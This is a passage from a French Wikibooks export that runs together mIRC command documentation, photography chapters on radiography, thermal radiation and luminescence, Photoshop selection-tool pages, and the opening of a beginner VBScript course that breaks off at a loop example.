==/url== {{Parammirc| [on / off / show / hide / -dranils] [ [N / marque ] / adresse] }} Montre ou cache la fenêtre Liste des URLs, et vous permet de modifier la liste actuelle d'adresses. {{Lsparammirc|-r|efface le Nième item ou tous les items qui correspondent à la marque que vous spécifiez.}} {{Lsparammirc|-an|vous permettent d'ouvrir une fenêtre d'exploration vers une adresse, où -a = explorateur actif , et -n = utiliser une nouvelle fenêtre d'exploration. }} {{Lsparammirc|-ils|vous permettent d'insérer un objet, charger et sauvegarder la liste respectivement.}} ==/winhelp== {{Parammirc|<nomdefichier> [clé]}} Ouvre un fichier d'aide avec la clé de recherche spécifiée. ==/write== {{Parammirc|[-cidna l# s# w# r#] <nom de fichier> [texte]}} Ecrit ligne par ligne un fichier texte. Par exemple : /write store.txt Cette ligne est ajoutée à la fin du fichier store.txt Le paramètre -c efface le fichier complètement avant de l'écrire, donc il vous permet de commencer proprement. /write -c c:\info.txt Ce fichier sera effacé et aura cette ligne écrite {{Lsparammirc|-l#|spécifie le numéro de ligne où le texte est écrit.}} /write -l5 c:\info.txt Cette ligne écrasera la 5ème ligne dans le fichier {{Lsparammirc|-i|indique que le texte devrait être inséré à la ligne spécifiée au lieu de l'écraser. Si vous ne spécifiez pas un texte alors une ligne blanche est insérée. Si vous ne spécifiez pas un numéro de ligne alors une ligne blanche est ajoutée à la fin du fichier.}} /write -il5 c:\info.txt Cette ligne sera insérée à la 5ème ligne du fichier {{Lsparammirc|-d|efface une ligne du fichier. Si vous ne spécifiez pas un numéro de ligne alors la dernière ligne du fichier est effacée.}} /write -dl5 c:\info.txt Cette ligne effacera la 5ème ligne du fichier. {{Lsparammirc|-s#|vérifie un fichier de la ligne commençant par le texte spécifié et accomplit l'opération de cette ligne.}} /write -dstest c:\info.txt Cela vérifiera le fichier info.txt pour une ligne commençant par le mot "test" et s'il le trouve, efface cette ligne (à cause du –d). Si vous ne spécifiez pas un paramètre alors le texte est ajouté à la fin du fichier. {{Lsparammirc|-w#|vérifie le fichier par une ligne contenant le texte joker correspondant et accomplit l'opération sur cette ligne.}} {{Lsparammirc|-r#|implique une correspondance regex.}} {{Note mIRC|Avec -s# et -w# vous pouvez enfermer le texte vérifié dans des guillemets s'il contient des espaces.}} {{Lsparammirc|-a|indique que mIRC ajoute la ligne de texte que vous spécifiez au texte existant de la ligne spécifiée. }} {{Lsparammirc|-n|empêche d'ajouter un $crlf à la fin du texte.}} {{Note mIRC|Vous ne pouvez pas utiliser cette commande d'écrire un fichier INI. Si vous le faites, vous corromprez probablement le fichier INI.}} ==/writeini== {{Parammirc|-n <fichier INI> <section> <item> <valeur> }} Ecrit les fichiers au format du fichier INI standard. Si le paramètre -n est spécifié, mIRC essaiera d'écrire le fichier .ini même s'il est plus grand que 64k. Une partie du fichier mirc.ini ressemble à ceci : [DDE] ServerStatus=on ServiceName=mirc Vous pouvez faire ceci avec /writeini en utilisant : {{Code mIRC|/writeini my.ini DDE ServerStatus on}} {{Code mIRC|/writeini my.ini DDE ServiceName mirc}} Vous pouvez effacer des sections entières ou des items en utilisant la commande /remini. {{Avertissement mIRC|Ne pas utiliser cette commande pour modifier tout fichier INI utilisé par mIRC}} Photographie - 23 - Radiographie 5579 33313 2006-02-18T21:05:36Z Jean-Jacques MILAN 114 /* Évolutions récentes */ {{Photographie}} {{ébauche}} == Évolutions récentes == Les techniques de radiographie numérique appartiennent aujourd'hui à deux grandes catégories : * la '''radiographie informatisée''' (CR) : le film est remplacé dans la cassette par un écran phosphorescent. L'image latente obtenue est alors activée par un balayage laser et numérisée à l'aide d'un scanner spécial. * la '''radiographie numérique directe''' (DR) : le film est remplacé par un capteur relié directement à l'ordinateur. Les techniques numériques de radiographie jouent aujourd'hui un rôle essentiel dans le domaine de la santé publique. Les systèmes modernes assurent l'acquisition des informations, leur transfert, leur stockage et leur disponibilité pour l'affichage sur les postes informatiques autorisés des hôpitaux. Avant l'apparition de la radiographie numérique, une fois la prise de vue effectuée, il fallait traiter les films et les afficher sur un négatoscope. Aujourd'hui les délais dus au traitement sont supprimés. Plusieurs praticiens peuvent examiner les mêmes clichés sur des postes de travail différents et donner leur avis sans avoir à se déplacer pour consulter les radios. Dans les cas d'urgence, lorsque le transfert d'un patient d'un hôpital à un autre est nécessaire, les clichés radiographiques pris dans le premier hôpital arrivent dans le second alors que le patient est encore dans l'hélicoptère, ce qui permet de prendre par avance les dispositions utiles en toute connaissance de cause. Sur le plan technique, les avantages sont également considérables. Lorsque l'on avait auparavant une radiographie trop dense et impossible à lire, il fallait refaire le cliché, exposer à nouveau le patient à une dose de radiations et perdre beaucoup de temps. Aujourd'hui un traitement informatique permet généralement d'améliorer suffisamment les images pour les rendre directement utilisables. Il est par ailleurs plus facile transporter et de classer les images informatiques que les radiographies sur film et de plus on peut multiplier facilement les exemplaires en les gravant sur des cédéroms, de sorte que chaque médecin disposant d'un ordinateur peut les examiner, les imprimer ou encore les montrer à ses patients. Il est également facile de visualiser à la suite les uns des autres des clichés pris à différents moments, par exemple pour suivre l'évolution d'une pathologie ou le processus de consolidation d'une fracture. On peut aussi très facilement associer des notes ou des commentaires aux images. == Application au diagnostic dentaire == Des caméras numériques à haure résolution remplacent aujourd'hui les techniques radiographiques traditionnelles. Les images finement détaillées qu'elles fournissent d'obtenir en font d'excellents outils de diagnostic et d'enseignement. En permettant d'accéder à tous les recoins d'une bouche, elles facilitent en outre le dialogue avec les patients, mais aussi avec les mécaniciens-dentistes qui fabriquent les couronnes, les bridges et les prothèses. Photographie - 04 - Rayonnement lumineux thermique 5580 44341 2006-06-11T21:32:03Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_04}} Tous les corps formés de matière condensée (solides, liquides, gaz très fortement comprimés) émettent un rayonnement lumineux formant '''un spectre continu toujours largement étalé dans l'infrarouge''' et comprenant d'autant plus de radiations de courte longueur d'onde que la température est plus élevée. == Règle de Kirchoff == Lorsque le rayonnement est d'origine '''purement thermique''', un corps ne peut émettre, à une température donnée, que les radiations qu'il est en mesure d'absorber. Pour l'étude thermodynamique des corps réels, [[w:fr:Gustav Kirchhoff|Kirchhoff]] a inventé le concept de '''corps noir''', un corps idéal capable d'absorber les radiations de toutes les longueurs d'onde et par conséquent de les émettre toutes s'il est suffisamment chauffé. Le corps noir est donc aussi un '''radiateur intégral'''. Le comportement de ce corps théorique est souvent assez différent ou très différent de celui des corps réels mais une enceinte percée d'un très petit trou en fournit un très bon modèle, car la lumière qui y pénêtre n'a pratiquement aucune chance d'en ressortir, elle est absorbée par les parois, éventuellement après de multiples réflexions. Aucune hypothèse n'est faite ici sur la composition chimique du corps noir. == Formule de Planck == La puissance émise par unité de surface du corps noir, ou exitance énergétique, est une fonction de la longueur d'onde et de la température absolue. Elle est exprimée par la formule : <center> {| border="1" cellpadding="5" cellspacing="0" |- |<math>M_{O{(\lambda , T)}} = \frac {C_1 \lambda^{-5}}{e^{\frac{C_2}{\lambda T}}-1}</math> |- |} </center> Les deux constantes valent : <math>C_1 = 3,70 \cdot 10^{-8} \; W \cdot \mu m^5 \cdot m^{-2}</math> et <math>C_2 = 14 320 \; \mu m \cdot K</math> == Loi de Wien == L'exitance du corps noir passe par un maximum pour une longueur d'onde telle que : {| border="1" cellspacing="0" cellpadding="5" align="center" |- |<math>\lambda_m T \approx 2900 \, \mu m \cdot K</math> |- |} Le corps humain ayant une température de surface de l'ordre de 300 K émet dans l'infrarouge avec une exitance maximale pour une longueur d'onde d'environ 10 &mu;m, très éloignée du domaine de sensibilité des émulsions photographiques mais pas de certains capteurs utilisés en thermographie. == Loi de Stefan == L'exitance totale du corps noir en en W/m<sup>2</sup> est donnée par la formule : {| border="1" cellspacing="0" cellpadding="5" align="center" |- |<math>M_o = \sigma T^4 \,</math> |- |} <math>\sigma = 5,7 \cdot 10^{-8} \; W \cdot m^{-2} \cdot K^{-4}</math> est la '''constante universelle de Stefan'''. L'énergie totale émise par un corps noir augmente donc très vite avec la température absolue et, simultanément, le spectre d'émission se déplace du côté des courtes longueurs d'onde et la conclusion principale est que '''le rayonnement émis par le corps noir n'est fonction, le long de tout le spectre, que de la seule température'''. [[Image:Emittance du corps noir à diverses températures.png|thumb|300px|center|Exitance spectrale du corps noir à différentes températures absolues. Les valeurs ont été ramenées à l'unité pour une longueur d'onde de 1 &mu;m.]] == Émission des corps réels, température de couleur == Pour les corps réels, l'absorption de la lumière est caractérisée par un coefficient &alpha;(&lambda;,T) compris entre 0 et 1 et qui doit être défini pour chaque valeur de la longueur d'onde et de la température absolue. Ce coefficient est appelé aussi '''pouvoir émissif monochromatique''' du corps considéré, à une température donnée. Pour une même valeur de la longueur d'onde et à la même température, l'émission d'un corps réel est au plus égale à celle d'un corps noir de même aire émissive. {| border="1" cellspacing="0" cellpadding="5" align="center" |- |<math>M(\lambda,T) = \alpha(\lambda,T) \cdot M_o(\lambda,T) \quad avec \quad M(\lambda,T) \le M_o(\lambda,T) \quad \forall (\lambda,T)</math> |- |} '''Dans les limites du spectre visible''' l'émission thermique de la plupart des corps réels est telle que sa composition spectrale peut être assimilée, pour une température T, à celle d'un corps noir qui serait porté à une température T<sub>c</sub>. Cette température T<sub>c</sub> est appelée '''température de couleur''' du rayonnement du corps réel ; elle est le plus souvent inférieure à T, avec de très notables exceptions. La température de couleur d'un corps lumineux est donc la température à laquelle un corps noir émettrait un rayonnement de même composition. Pour les photographes, cette notion est importante car elle conditionne très largement l'équilibre chromatique des images obtenues, quel que soit le procédé, argentique ou numérique. Il est assez facile de définir et de mesurer la température de couleur du rayonnement solaire et celle des lampes à incandescence, mais ce n'est pas vrai pour d'autres sources telles que les lampes à vapeur de sodium ou la plupart des tubes fluorescents. [[Image:Spectre d'une lampe halogène.jpg|center|Spectre d'une lampe aux halogènes]] La lumière du jour est complexe car par beau temps, les objets qui nous entourent sont éclairés à la fois par la lumière directe du soleil (modifiée après qu'elle a traversé l'atmosphère terrestre) et par le ciel bleu. Elle varie donc énormément en fonction des circonstances et on ne peut guère l'évaluer avec une relative précision que si le temps est beau. [[Image:Température de couleur du rayonnement solaire.png|thumb|400px|center|Évaluation rapide de la température de couleur du rayonnement solaire en France, en fonction de la date et de l'heure, par beau temps.]] La lumière émise par le ciel bleu a une température de couleur très élevée, pouvant atteindre facilement 10 000 K ou davantage, et cette valeur est évidemment de beaucoup supérieure à sa véritable température et même à la température de la surface du soleil. C'est pourquoi les ombres paraissent souvent bleues, de même que les paysages de montagne enneigés, et dans de nombreux cas une correction est nécessaire pour obtenir un rendu plus naturel. Cette correction s'effectue à la prise de vue par des '''filtres compensateurs''', dont l'usage est quasi obligatoire pour les prises de vue cinématographiques sur film. Pour les prises de vues directes en numériques, on peut jouer sur la '''balance des blancs''', si toutefois elle est accessible à partir des menus de réglage de l'appareil utilisé. Contrairement aux capteurs et surtout aux films, l'œil est en effet capable de s'adapter aux dominantes colorées et dans une certaine mesure de les corriger. La température de couleur peut être mesurée à l'aide d'un '''thermocolorimètre''', instrument qui permet d'évaluer le rapport des intensités lumineuses du bleu et du rouge, tout au moins en ce qui concerne ses réalisations les plus simples et les plus courantes. {|cellpadding="10" align="center" |+ '''Thermocolorimètre Sixticolor Gossen''' |- |[[Image:Thermocolorimètre Sixticolor Gossen 01.jpg|thumb|250px|center|côté cellule]] |[[Image:Thermocolorimètre Sixticolor Gossen 02.jpg|thumb|250px|center|côté mesure]] |- |} == Couleurs chaudes, couleurs froides == Il convient de remarquer ici que les couleurs considérées comme « froides » par les peintres ou les décorateurs (violets, bleus, verts) sont au contraire des couleurs chaudes pour les thermodynamiciens et vice-versa pour les couleurs dites « chaudes » (jaunes, orangés, rouges). <center>[[Image:Tempcoul.jpg]]</center> C'est ainsi par exemple que le rouge n'a qu'une très faible importance relative dans le spectre lumineux des étoiles chaudes : <center>[[Image:Spectre d'une étoile chaude.jpg]]</center> tandis que le bleu est pratiquement absent du spectre des étoiles froides : <center>[[Image:Spectre d'une étoile froide.jpg]]</center> Adobe Photoshop – Sélections 5581 25072 2005-11-06T15:23:19Z Inisheer 631 {{photoshop}} #[[Adobe Photoshop – Outils de sélection|Outils de sélection]] #[[Adobe Photoshop – Opérations entre les sélections|Opérations entre les sélections]] #[[Adobe Photoshop – Transformation d'une sélection|Transformation d'une sélection]] Adobe Photoshop – Outils de sélection 5582 24056 2005-10-23T15:01:52Z Inisheer 631 /* Outil Masque de texte */ {{photoshop}} Photoshop met à votre disposition les outils de sélection suivants: *rectangle; *ovale; *lasso; *baguette magique; *masque de texte. Les trois premiers sont présents depuis les balbutiements des programmes de dessin bitmap et sont devenus très familiers. Les deux autres, Baguette magique et Masque de texte, sont d'un emploi légèrement plus complexe. ==Outils Rectangle et Ovale== *raccourci: M Tout en maintenant le bouton de la souris enfoncé, faites glisser le curseur – par défaut, la sélection débute à l'angle opposé de la direction prise par le pointeur. Vous pouvez imprimer diverses contraintes aux coordonnées du tracé: *Maj: tracer un carré ou un cercle parfait; *Alt: tracer à partir du centre; *Maj + Alt: tracer un carré ou un cercle parfait à partir du centre. Les options suivantes sont accessibles via la barre d'option de l'outil: *Style; *Contour progressif; *Lissé (outil Ovale uniquement). ===Styles=== Le menu Styles de la barre d'options vous permet de définir une contraintes sur les dimensions de la sélection. ;Normal: Sélection sans contrainte. ;Proportions fixes: Maintient constant le rapport hauteur/largeur défini dans les champs Largeur et Hauteur. ;Taille fixe: Permet d'indiquer à l'avance les dimensions exactes de la future zone sélectionnée. Plus besoin de cliquer-glisser, la sélection est active avec un seul clic. Vous pouvez ensuite la déplacer à l'aide d'un cliquer-glisser à l'intérieur de la zone sélectionnée. ===Contour progressif=== L'option Contour progressif applique une transition fondu entre la zone sélectionnée et la zone extérieure. Dans le cas d'une sélection rectangulaire, les angles seront légèrement arrondis. La taille de la zone de transition est définie en pixels dans le champ de la barre d'options prévu à cet effet. Il s'agit en fait du rayon de cette zone. Un contour progressif de 5 pixels s'étendra ainsi sur 10 pixels, 5 à l'intérieur de la sélection et 5 à l'extérieur. ===Lissage=== Disponible uniquement avec l'outil Ovale, l'option de lissage atténue l'effet de crénelage qui peut affecter les bords de la sélection. ==Outil Lasso== *raccourci: L Le lasso peut être de trois types différents: *Lasso normal, à main levée; *Lasso polygonal; *Lasso magnétique. ===Lasso à main levée=== Enfoncez le bouton de la souris, le lasso suivra les déplacements du pointeurs. Si vous relâchez la souris sans refermer votre tracé, une ligne droite joindra automatiquement le point de départ pour compléter la sélection. ===Lasso polygonal=== Comme son nom l'indique, le Lasso polygonal génère un polygone, dont chaque clic définit un sommet. Un double-clic ferme le tracé. Enfoncez la touche Maj pour créer des angles multiples de 45°. ===Lasso magnétique=== Le lasso magnétique repère les différences de contraste entre deux zones pour définir le contour de la sélection. Il est donc particulièrement adapté aux sujets qui se détachent bien de l'arrière-plan. Pressez la touche Back pour annuler une partie du tracé et revenir en arrière. Le Lasso magnétique dispose des options suivantes: ;Largeur: définie en pixels De 1 à 256, la largeur du lasso définit la distance par rapport au pointeur dans laquelle des contours doivent être recherchés. Plus la valeur est basse et plus la sélection sera précise. ;Fréquence: définie en pourcents Photoshop place des sommets au fur et à mesure du déplacement du lasso le long du tracé. Plus la fréquence définie est élevée (de 1 à 100), plus ces sommets seront nombreux et la sélection précise. ;Déviation du contour: définie en pourcents La déviation du contour définit la sensibilité du lasso en fonction de la différence de contraste entre la zone à sélectionner et l'extérieur. Plus la valeur est élevée et plus le contraste devra être important pour que le lasso définisse un contour. La déviation peut se piloter à la volée au clavier à l'aide des touches <code>,</code> (diminuer) et <code>;</code> (augmenter). ==Outil Baquette magique== *touche de raccourci: W La Baguette magique sélectionne tous les pixels contigus et de même teinte que celle où vous avez cliqué. La Baguette magique dispose des options suivantes: ;Tolérance: De 0 à 255, la valeur de la tolérance détermine la différence de teinte maximale qui entrera dans la sélection. Plus la valeur est élevée, plus la gamme des teintes sélectionnées sera large. ;Lissage: Lisse les contours de la sélection. ;Pixels contigus: Cette options est activée par défaut. Désactivée, elle permet de sélectionner ''tous'' les pixels de même teinte de l'image. ;Utiliser tous les calques: Permet de sélectionner les pixels de tous les calques simultanément, comme si l'image était aplatie ==Outil Masque de texte== L'utilisation de l'outil texte génère automatiquement un nouveau [[Adobe Photoshop – Calques|calque]] dont les contours correspondent à ceux du texte saisi. Adobe Photoshop – Présentation de l'espace de travail – Outils 5585 23461 2005-10-16T15:04:52Z Inisheer 631 {{photoshop}} [[Image:Photoshop_%E2%80%93_Barre_d%27outils.png|left]] Les outils de la palette sont accessibles via un raccourci clavier dédié. Contrairement aux raccourcis des menus, ceux des outils ''ne font pas appel'' à une touche méta. Pour sélectionner l'outil ''Baguette magique'', on pressera simplement la touche W. Certains outils similaires sont regroupés sur la palette. Ainsi, les outils Correcteur, Pièce et Remplacement de couleur partagent le même emplacement et le même raccourci clavier. On passe de l'un à l'autre en maintenant le bouton de la souris enfoncé (à la souris) ou en pressant la touche Maj en même temps que la touche raccourci (au clavier). Adobe Photoshop – Bibliographie 5586 23268 2005-10-15T16:34:52Z Inisheer 631 {{photoshop}} La littérature traitant de Photoshop est abondante. Ce Wikibook s'appuie plus particulièrement sur les ouvrages suivants: *Pierre Labbe, ''Photoshop CS'', Eyrolles, Paris, 2004. *Martin Evening, ''Photoshop CS pour les photographes'', Eyrolles, Paris, 2004. Photographie - 04 - Luminescence 5589 44340 2006-06-11T21:31:40Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_04}} Le terme '''luminescence''' s'applique aux rayonnements dont l'origine n'est pas purement thermique. Il y a luminescence si, pour une même longueur d'onde et une même température absolue, le rayonnement est plus intense que celui du corps noir. Les spectres émis par luminescence sont le plus souvent formés de raies ou de ban­des plus ou moins larges, caractéristiques des atomes, des molécules ou des mélanges excités. Un fond continu d'origine thermique peut éven­tuellement se superposer aux bandes et aux raies. De nombreuses sources luminescentes peuvent avoir des applications intéressantes en photographie. == Les tubes à décharge == Le passage d'une décharge électrique dans les gaz ou les vapeurs métalliques sous faible pression fournit un spectre de raies caractéristiques des atomes : rose pour le néon des enseignes lumineuses et des voyants électriques, lavande pour le kryp­ton, bleu ciel pour le xénon. La vapeur de so­dium émet deux raies particulièrement intenses pour &lambda; = 0,5890 et 0,5896 &mu;m. Elle trouve des applications pour l'éclairage public et les lan­ternes de sûreté des laboratoires photographi­ques. La vapeur de mercure fournit des raies visibles et des raies ultraviolettes. Elle sert aussi pour l'éclairage public et intervient dans les lampes-éclair des flashes électroniques, as­sociée à du krypton ou à du xénon. <gallery> Image:Small neon lamp.jpg|Petite lampe au néon, a priori sans intérêt pour les usages photographiques Image:Spectre d'une lampe au mercure.png|Spectre visible d'une lampe à vapeur de mercure à haute pression. Image:Spectre lampe à vapeur de mercure.jpeg|Spectre discontinu d'une lampe à vapeur de mercure dans l'ultraviolet et le violet. Image:Spectre d'une lampe au sodium.png|Spectre d'une lampe à vapeur de sodium à haute pression, pour deux régimes de fonctionnement. Noter (x) l'auto-absorption d'une des raies caractéristiques. Image:HeTube.jpg|Luminescence de l'hélium Image:ArTube.jpg|Luminescence de l'argon (''le symbole est A, pas Ar'') Image:KrTube.jpg|Luminescence du krypton Image:NeTube.jpg|Luminescence du néon Image:XeTube.jpg|Luminescence du xénon </gallery> Lorsque la pression du gaz n'est plus négligeable les raies spectrales s'élargissent et deviennent des bandes. Comme nous le verrons plus tard, le rendu des couleurs des objets éclairés par ces sources devient moins mauvais. == Fluorescence et phosphorescence == [[Image:Fluorescent minerals hg.jpg|thumb|240px|Fluorescence de divers minéraux sous l'effet de rayonnements ultraviolets]] De nom­breux corps absorbent certaines radiations et en réémettent simultanément d'autres de lon­gueurs d'ondes plus grandes (loi de Stokes). On utilise beaucoup en [[Photographie - Chapitre 23 - Techniques scientifiques|radiophotographie]] des écrans de platinocyanure de baryum (fluores­cence jaune) ou de tungstate de calcium (fluorescence violette). Ces écrans s'illuminent sous l'effet des rayons X et de l'ultraviolet. Ce phénomène est courant et tout le monde connaît la fluorescence du [[w:Nylon|Nylon]] frappé par le proche ultraviolet (lumière noire). Lorsque l'émission persiste après que l'excitation a cessé, on dit qu'il y a '''phosphorescence'''. Le sulfure de zinc, par exemple, après qu'il a été éclairé, émet une lumière jaune-vert qui décroît progressivement. == Les tubes fluorescents == Ils contiennent de la vapeur de mercure sous très faible pres­sion. La décharge électrique y provoque l'émission de raies visibles et ultraviolettes. Les pre­mières traversent la paroi du tube tandis que les secondes sont absorbées par diverses pou­dres déposées à l'intérieur du tube et chargées de réémettre de la lumière visible par fluorescence. Ces poudres sont choisies de façon que leur rayonnement de fluorescence complète le spectre du mercure pour donner une impression de lumière plus ou moins blanche. On utilise par exemple des produits tels que l'arséniate de magnésium ou les silicates de baryum, de strontium ou de lithium. <gallery> Image:Spectre de l'arséniate de magnésium.png|Spectre de l'arséniate de magnésium Image:Spectre du silicate de baryum.png|Spectre du silicate de baryum </gallery> La lumière émise se caractérise par la superposition des raies visibles du mercure et des bandes de fluorescence, avec des discontinuités plus ou moins marquées. <gallery> Image:Leuchtstofflampen-chtaube050409.jpg|Différents tubes fluorescents Image:Kompaktleuchtstofflampe.jpeg|Lampe fluorescente dite « à économie d'énergie » Image:Spectre d'un tube fluorescent blanc chaud.jpeg|Spectre d'émission d'un tube fluorescent « blanc chaud » Image:Leuchtstoff spektrum.jpg|Spectre de lampes fluorescentes </gallery> Les tubes et les lampes fluorescents sont en général de très mauvaises sources d'éclairage pour la prise de vues et l'examen des épreuves en couleurs. Avec les appareils argentiques on peut utiliser des filtres spéciaux qui limitent les dégâts, du moins avec certaines de ces sources ; avec les appareils numériques il convient d'utiliser la balance des blancs manuelle, quand c'est possible, ce qui donne généralement un résultat moins mauvais. <gallery> Image:Paris-Metro-Cite.jpg|Ce que peut donner la balance des blancs automatique avec des lampes au mercure (métro Cité, à Paris). </gallery> == Les sources mixtes incandescence-fluorescence == On peut par exemple associer un fi­lament aux lampes à vapeur de mercure à haute pression, de sorte que les raies vertes et bleues émises par ce métal soient superposées au rouge provenant du filament. Les lampes à arc en atmosphère de xénon fournissent ainsi un rayonnement très proche de celui du Soleil. == Les diodes électroluminescentes == Ce sont des composants électroniques capable de transformer directement l'énergie électrique en énergie rayonnante. Lors de la recombinaison d'un [[w:électron|électron]] et d'un trou dans un [[w:semi-conducteur|semiconducteur]], il peut y avoir émission d'un [[photon]]. Cette transformation s'opère avec un excellent rendement et depuis quelques années on sait réaliser des sources relativement puissantes. On les désigne souvent par les acronymes DEL (diode électroluminescente) ou plus couramment LED (light emitting diodes). Les premières DELs émettaient une lumière rouge mais on a ensuite réussi à émettre du jaune, du vert, du bleu et de l'ultraviolet. Les diodes utilisées pour les sources d'éclairage portatives (lampes frontales par exemple) émettent une lumière composée de raies séparées par de fortes discontinuités et le rendu des couleurs qu'elles permettent est encore loin d'être parfait. <gallery> Image:Red led x5.jpg|DEL rouges Image:Diodos LED foto.png|Trois DEL Image:Lysdioder2.jpg|DELs diverses Image:Ledmrp.jpg|Structure d'une DEL Image:Uv-LED.jpg|DEL émettant dans l'ultraviolet Image:LED6.png|La lumière des DELs est relativement dirigée Image:Red-YellowGreen-Blue LED spectra.gif|Superposition des spectres de trois DELs Image:LED Spektren.jpg|Spectre de DELs et lumière blanche Image:Led lamp.jpg|Lampe formée en groupant des DELs Image:LED Halogen.jpg|Les lampes à DELs peuvent remplacer les lampes halogène classiques Image:Ampoules.jpg|Ampoules à DELs Image:Tokyo-Station-2005-7-21 4.jpg|Affichage à DELs Image:Tokyo-Station-2005-7-21 3.jpg|Affichage à DELs </gallery> Les diodes électroluminescentes émettent une lumière désordonnée et ne doivent pas être confondues avec les diodes laser qui émettent une lumière cohérente. == Autres phénomènes == Beaucoup d'autres causes peuvent pro­voquer des phénomènes de luminescence : * '''chimiluminescence''' : la plupart des réac­tions chimiques produisent une émission lumi­neuse, en général ultraviolette­ ­ * '''triboluminescence''' : le frottement ou les contraintes mécaniques provoquent parfois des émissions lumineuses. On le vérifiera facilement en faisant frotter dans le noir, après s'y être accoutumé, deux morceaux de sucre ou mieux de saccharine (édulcorant utilisé par les diabétiques) ou encore d'acide tartrique. Il est généralement impossible de parler de température de couleur pour toutes ces sources mais on peut donner dans certains cas une équivalence pour l'œil ou pour certaines couches sensibles. {{EnTravaux}} <gallery> Image:Photos-photos 1087592507 Energy Arc.jpg Image:Plasma-lamp.jpg </gallery> Application VBS 5594 43088 2006-05-24T10:07:47Z 83.206.48.156 {{ébauche}} Ce cours évolutif s'adresse aux néophytes en programmation et fait succintement le tour des possibilités du [[Programmation_VBscript|VBScript]]. Pour commencer, VBS comme tous les langages d'édition nécessite un éditeur de texte. Il doit être enregistré avec l'extension .vbs pour être reconnu par MIME et interprété par wscript.exe ou cscript.exe qui se trouvent dans le répertoire %system% de votre OS Windows. Tous les cas d'utilisations des fonctions ne seront pas utilisés ici. Pour avoir une description complète des fonctions et de leurs paramètres, consulter le book [[programmation_VBscript|VBScript]] et ses liens externes. *Qu'est ce qu'un programme : Un programme est une suite d'instructions écrites dans un langage, en l'occurrence le VBS, et qui comporte toujours des TRAITEMENTS sur des DONNEES. Pour voir les bases de la programmation consultez le book [[programmation_LDA|LDA]] qui introduit à la notion de programmation. *Ecrire un programme sous windows : Prenez le bloc note ou tapez "notepad" dans exécuter pour le lancer. Ecrivez votre programme et ensuite enregistrez / Nom du fichier : VotreNomAuChoix.vbs / Type : Tous les fichiers Et voilà, vous avez un programme exécutable sous windows. *Légende des abréviations utilisées ici : {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center bgcolor="#EFEFEF" | cond || condition |- align=center | arg || argument |- align=center bgcolor="#EFEFEF" | ins || instruction |- align=center | var || variable |- align=center bgcolor="#EFEFEF" | cmt || commentaire |- align=center | expr || expression |- align=center bgcolor="#EFEFEF" | var || variable |- align=center | res || resultat |- align=center bgcolor="#EFEFEF" | str || string |- align=center | > || Sortie (stdout) |- align=center bgcolor="#EFEFEF" | < || Entree (stdin) |} =Paradigme de programmation= *Qu'est ce que "stdin" et "stdout" ? Un programme fonctionne toujours en terme d'entrée de datas (stdin) et de sortie de datas (stdout). C'est ce que l'on appelle le [[piping]]. Les fonctions utilisées recoivent des parametres=datas et les renvoient. Ces entrées et sorties (E/S) permettent à un programme d'être rédigé comme une pile d'instructions ([ins]) traitant/renvoyant des datas. Sans datas/valeur en entrée (< par convention), le programme n'a aucune sortie (>). Pour concevoir un programme, il faut d'abord vous demander ce que vous voulez faire, c'est à dire les données à [ins] pour l'obtention du [res]=NewData à sortir. Les [res] sont transmis/pipé/pompé/stdout/> -> dans d'autres fonctions qui les reçoivent en -> /entrée/stdin/<. C'est pour cela que l'on parle par exemple d'entrée au clavier, de sortie à l'écran ou d'E/S sur fichier (.f) En résumé, une fonction reçoit/< et retourne/> une valeur comme dans une partie de ping pong, tandis qu'une procédure peut recevoir mais ne retourne rien. Sortie écran et .f sont ici les [res] terminaux à produire. Mais nous allons voir tout cela par l'exemple. *Qu'est-ce qu'une "data" ? Une donnée est une valeur. *Qu'est-ce qu'une "expr" ? Une expression est un TERME comprenant des operations sur DATA's et qui produisent un [res] final unique. *Qu'est-ce qu'un "res" ? Un résultat est une data. *Qu'est-ce qu'une "ins" ? Une instruction est une PILE/suite de TRAITEMENT/opération/fonction sur DATA. *Qu'est-ce qu'une "var" ? Une variable est une ZONE/cellule temporaire recevant une DATA. Elle commence toujours par une lettre. Une var CONSTANTE est une cellule < data permanente pour toute la durée du programme. *Qu'est-ce qu'une "cond" ? Une condition est un [res] à TESTER pour initialiser ou non une [ins]. *Qu'est-ce qu'un "test" ? Un test effectue l'E/S d'une [ins] c'est à dire un stdin(1/in) si [cond] est vrai sinon un stdout(0/out). Un test est dit booleén quand [res] est blanc ou noir, vrai ou faux, ok ou ko=pas ok. *Qu'est-ce qu'un "str" ? Un string est une chaine/suite/res de caracteres. Tous les [str] sont "typé". *Qu'est-ce qu'un "type" ? Un type est une façon d'interpréter un [str]. Il y a les nombres ([nbr]), les caractères, ... =Notions élémentaires= *Faire un commentaire Un commentaire est une ligne du programme qui commence par ' et qui indique au préprocesseur qu'il doit la sauter car ne faisant pas partie des [ins]. <pre> 'ceci est un commentaire qui sert à décrire le programme 'et nous aider à mieux nous y retrouver par la suite 'lorsque nous revenons dessus ou que nous cherchons le bug </pre> *Afficher un [str] <pre> msgbox "bonjour tout le monde" >Bonjour tout le monde </pre> *Initialiser une variable (<) Il n'est pas encore utile de définir le type de variable, par défaut entre "" c'est du [str] sinon c'est du [nbr]. <pre> msg="salut à tous" msgbox msg >salut à tous </pre> *Introduire une data au clavier (<) et l'afficher (>) <pre> msg=inputbox(msg) msgbox msg >'la valeur que vous avez tapée' </pre> La var msg reçoit (<) [str] du clavier et >ecran à la deuxieme ligne. *Faire un programme qui calcul toutes les opérations sur 2 [nbr] < <pre> 'opération sur 2 < nbr1=inputbox(msg,"introduisez le nbr1") nbr2=inputbox(msg,"introduisez le nbr2") MsgBox "addition:"&nbr1+nbr2&VbCrLf&"multiplication:"&nbr1*nbr2&VbCrLf _ &"division:"&nbr1/nbr2&VbCrLf&"soustraction:"&nbr1-nbr2,vbokonly,"OPERATIONS" >addition:res >multiplication:res >division:res >soustraction:res </pre> CMT : Référez-vous toujours aux définitions de fonctions [[programmation_VBscript|VBScript]] pour savoir comment utiliser ses fonctions prédéfinies comme inputbox(), msgbox() et autres. Dans ce programme, msgbox retourne ce qu'on appelle une chaîne de caractères ou string. Ici cette chaîne est constituée par [str]&[expr]&VbCrLf&... VbCrLf passe à une nouvelle ligne et fait un retour chariot. _ permet de couper une [expr] en deux lignes. La programmation n'est pas quelque chose de très compliqué, il suffit de comprendre ce que l'on fait :) *Faire une boucle qui calcule Une boucle doit TOUJOURS avoir une condition d'arrêt sans quoi elle est infinie. <pre> 'BOUCLE 